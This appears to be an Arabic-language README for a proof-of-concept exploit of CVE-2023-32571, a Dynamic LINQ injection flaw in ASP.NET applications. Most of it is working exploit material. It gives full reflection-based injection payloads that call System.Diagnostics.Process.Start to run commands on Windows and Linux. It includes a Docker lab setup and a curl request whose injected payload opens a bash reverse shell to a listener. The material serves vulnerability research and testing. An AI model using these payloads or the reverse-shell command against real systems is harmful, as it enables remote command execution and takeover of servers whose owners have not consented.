
إثبات مفهوم لـ CVE-2023-32571، يوضح تنفيذ التعليمات البرمجية عن بُعد عبر حقن Dynamic LINQ في تطبيقات ASP.NET. يتضمن حمولات ومختبر Docker للاختبار.
مؤخرًا، اكتشف أعضاء من مجموعة NCC ثغرة في Dynamic Linq تتيح للمهاجمين استدعاء دوال C# عبر حقن Linq، مما يجعل من الممكن الحصول على تنفيذ الأوامر عن بُعد.
على الرغم من تقرير RCE الخاص بـ Dynamic Linq، لم يقم أعضاء مجموعة NCC لسبب ما بتوفير إثبات المفهوم (POC) لتنفيذ الأوامر.
كما ورد في بحث مجموعة NCC، يمكننا استدعاء دوال C# من خلال "Invoke". وبهذا، يمكننا استدعاء "System.Diagnostics.Process.Start" وتنفيذ الأوامر على الخادم.
يمكننا استخدام طريقة "CreateInstanceFromAndUnwrap" لاستدعاء System.Diagnostics.Process عبر التجميعة.
الحمولة (Payload) لاستخدام طريقة System.AppDomain.CreateInstanceAndUnwrap:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
الحمولة لاستدعاء System.Diagnostics.Process عبر طريقة :
CreateInstanceAndUnwrap"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
من خلال الوصول إلى دوال الفئة System.Diagnostics.Process، يمكننا استخدام طريقة System.Diagnostics.Process.Start لتنفيذ الأوامر على النظام:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
ملاحظة: لاحظ أن الحمولة تبحث عن أول 3 دوال Start وتأخذ آخرها. فعلت ذلك لأن قائمة الدوال في System.Diagnostics.Process تحتوي على عدة دوال Start، والدالة التي نحتاجها هي الثالثة في القائمة.
أهداف ويندوز
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
ثبّت docker و docker-compose:
Debian
sudo apt update -y && sudo apt install docker.io docker-compose -y
sudo pacman -Syu && sudo pacman -S docker docker-compose
استنسخ هذا المستودع:
git clone https://github.com/Tris0n/CVE-2023-32571-POC
cd CVE-2023-32571-POC
sudo docker-compose up --build
يبدأ تشغيل التطبيق على http://localhost:8000/
عند الوصول إلى مسار "/api/products" عبر طريقة POST، نرى أنه يعيد قائمة بالمنتجات:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

من خلال إرسال معامل name في json، يمكننا تصفية المنتجات:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

بعد بعض الاختبارات، نرى أننا تمكنا من حقنها في استعلام Dynamic Linq. وبإرسال الحمولة التالية، تمكنا من الحصول على قشرة عكسية (reverse shell):
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

nc -lvp 8001
